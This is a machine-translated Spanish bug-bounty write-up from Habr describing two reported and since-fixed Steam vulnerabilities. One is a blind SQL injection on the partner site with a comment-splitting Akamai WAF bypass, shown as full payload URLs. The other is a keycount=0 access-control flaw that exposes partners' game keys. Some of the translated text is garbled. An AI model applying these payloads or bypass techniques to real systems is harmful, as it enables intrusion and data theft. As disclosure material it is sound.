Cómo pirateé Steam. Dos veces

Hola Habr! Hoy les diré por qué Valve pagó las mayores recompensas en la historia de su programa de recompensas por vulnerabilidades. ¡Bienvenido a cat!



1. Inyección SQL


El servicio partner.steampowered.com está diseñado para recibir información financiera de los socios de Steam. En la página del informe de ventas, se dibuja un gráfico con botones que cambian el período en que se muestran las estadísticas. Aquí están en el rectángulo verde:



La solicitud de descarga de estadísticas se ve así:


donde "UA" es el código del país.

Bueno, ¡es hora de cotizaciones!
Probemos con "UA":



Las estadísticas NO regresaron, lo cual es de esperar.

Ahora "UA" ":



¡Las estadísticas han vuelto y parece una inyección!

Por qué
Digamos que la instrucción de la base de datos se ve así:

SELECT * FROM countries WHERE country_code = `UA`; 

Si envía UA ', la instrucción de la base de datos será:

 SELECT * FROM countries WHERE country_code = `UA``; 

¿Notó una cotización extra? Y esto significa que la instrucción no es válida.
De acuerdo con la sintaxis de SQL, la siguiente consulta es completamente válida (no hay comillas adicionales):

 SELECT * FROM countries WHERE country_code = `UA```; 

Tenga en cuenta que estamos tratando con una variedad de countryFilter [] . Supuse que si duplicamos el parámetro countryFilter [] en la consulta varias veces, todos los valores que enviamos se combinarán en la consulta SQL de esta manera:

 'value1', 'value2', 'value3' 

Verificamos y nos aseguramos de:



De hecho, solicitamos estadísticas de tres países de la base de datos:

 `UA`, `,` ,`RU` 

La sintaxis es correcta: las estadísticas han vuelto :)

Bypass de firewall de aplicaciones web

Los servidores de Steam se esconden detrás de Akamai WAF. Esta desgracia inserta palos en las ruedas de buenos (y no tan) hackers. Sin embargo, pude superarlo combinando los valores de la matriz en una consulta (lo que expliqué anteriormente) y comentando. Primero, asegúrese de que este último esté disponible:

 ?countryFilter[]=UA`/*&countryFilter[]=*/,`RU 

La solicitud es válida, por lo que hay comentarios en nuestro surtido.
Teníamos varias opciones de sintaxis, bases de datos locales para probar cargas útiles, caracteres de comentarios y un número infinito de citas para todas las codificaciones, así como scripts escritos en Python, documentación para todas las bases de datos, instrucciones sobre cómo evitar los firewalls, wikipedia y antichest. No es que fuera una reserva necesaria para la promoción de la inyección, pero desde que comenzó a romper la base de datos, es difícil detenerla ...
WAF bloquea una solicitud cuando encuentra una función en ella. ¿Sabía que DB_NAME / ** / () es una llamada de función válida? El firewall también sabe y bloquea. Pero, gracias a esta característica, ¡podemos dividir la llamada a la función en dos parámetros!

 ?countryFilter[]=UA',DB_NAME/*&countryFilter[]=*/(),'RU 

Enviamos una solicitud con DB_NAME / * de todos modos * / () - WAF no entendió nada, pero la base de datos procesó con éxito dicha instrucción.

Recuperando valores de una base de datos

Entonces, un ejemplo de cómo obtener la longitud de un valor DB_NAME ():

 https://partner.steampowered.com/report_xml.php?query=QuerySteamHistory&countryFilter[]=',(SELECT/*&countryFilter[]=*/CASE/**/WHEN/*&countryFilter[]=*/(len(DB_NAME/*&countryFilter[]=*/())/*&countryFilter[]=*/=1)/**/THEN/**/'UA'/**/ELSE/*&countryFilter[]=*/'qwerty'/**/END),' 

En SQL:

 SELECT CASE WHEN (len(DB_NAME())= 1) THEN 'UA' ELSE 'qwerty' END 

Bueno, humanamente:

   DB_NAME()  "1",   “UA”,   “qwerty”. 

Esto significa que si la comparación es verdadera, a cambio obtenemos estadísticas para el país "UA". No es difícil adivinar que si revisamos los valores del 1 al infinito, tarde o temprano encontraremos el correcto.

Del mismo modo, puede iterar sobre valores de texto:

    DB_NAME()  “a”,  "UA",  "qwerty". 

Por lo general, la función de "subcadena" se utiliza para obtener el enésimo carácter, pero WAF lo bloqueó obstinadamente. Aquí la combinación vino al rescate:

 right(left(system_user,N),1) 

Como funciona Obtenemos N caracteres del valor de system_user del que tomamos el último.
Imagine que system_user = "steam". Así es como se verá el tercer personaje:

 left(system_user,3) = ste right(“ste”,1) = e 

Con un script simple, este proceso se automatizó y obtuve el nombre de host, system_user, versión y los nombres de todas las bases de datos. Esta información es más que suficiente (esta última es incluso superflua, pero fue interesante) para demostrar la criticidad.

Después de 5 horas, la vulnerabilidad se solucionó, pero el estado de triaged se estableció después de 8 horas y, maldita sea, para mí fue muy difícil 3 horas por las cuales mi cerebro logró sobrevivir a las etapas desde la negación hasta la aceptación.

Explicación de la paranoia.
Como la vulnerabilidad no fue designada como aceptada, creí que la línea aún no había llegado a mi informe. Pero arreglaron el error, lo que significa que podrían haberlo registrado antes que yo.

2. Obtener todas las claves de cualquier juego.


En la interfaz de socio de Steam, hay una funcionalidad para generar claves de juego.
Puede descargar el conjunto de claves generado utilizando la solicitud:

 https://partner.steamgames.com/partnercdkeys/assignkeys/ &sessionid=xxxxxxxxxxxxx&keyid=123456&sourceAccount=xxxxxxxxx&appid=xxxxxx&keycount=1&generateButton=Download 

En esta solicitud, el parámetro keyid es la identificación del conjunto de claves, y el número de claves es el número de claves que se deben obtener de este conjunto.

Por supuesto, mis manos se extendieron instantáneamente para conducir con diferente keyid , pero me esperaba un error: "No se pudieron generar claves de CD: no hay asignación para el usuario". ". Resultó que no todo era tan simple, y Steam verificó si poseía el juego de llaves solicitado. ¿Cómo llegué a esta prueba? Atención ...

 keycount=0 

Se generó un archivo con 36,000 claves para el juego Portal 2. Wow.
Solo en un conjunto estaba este número de teclas. Y todos los sets en este momento más de 430,000. Por lo tanto, clasificando los valores de keyid, fui un atacante potencial que podría descargar todas las claves generadas por los desarrolladores de juegos de Steam.

Conclusiones


  • Los costosos sistemas WAF de las principales compañías están lejos de garantizar la seguridad de sus aplicaciones web.
  • Si eres un cazador de insectos, intenta penetrar lo más profundo posible. Mientras menos usuarios tengan acceso a una interfaz, es más probable que encuentre una vulnerabilidad en esa interfaz.
  • Desarrolladores y dueños de negocios, ¡no hay aplicaciones absolutamente seguras! Pero espera. Que tengas buen humor!

Pero en serio
Haga pentests, pague por vulnerabilidades, piense estratégicamente.

Source: https://habr.com/ru/post/es421215/


All Articles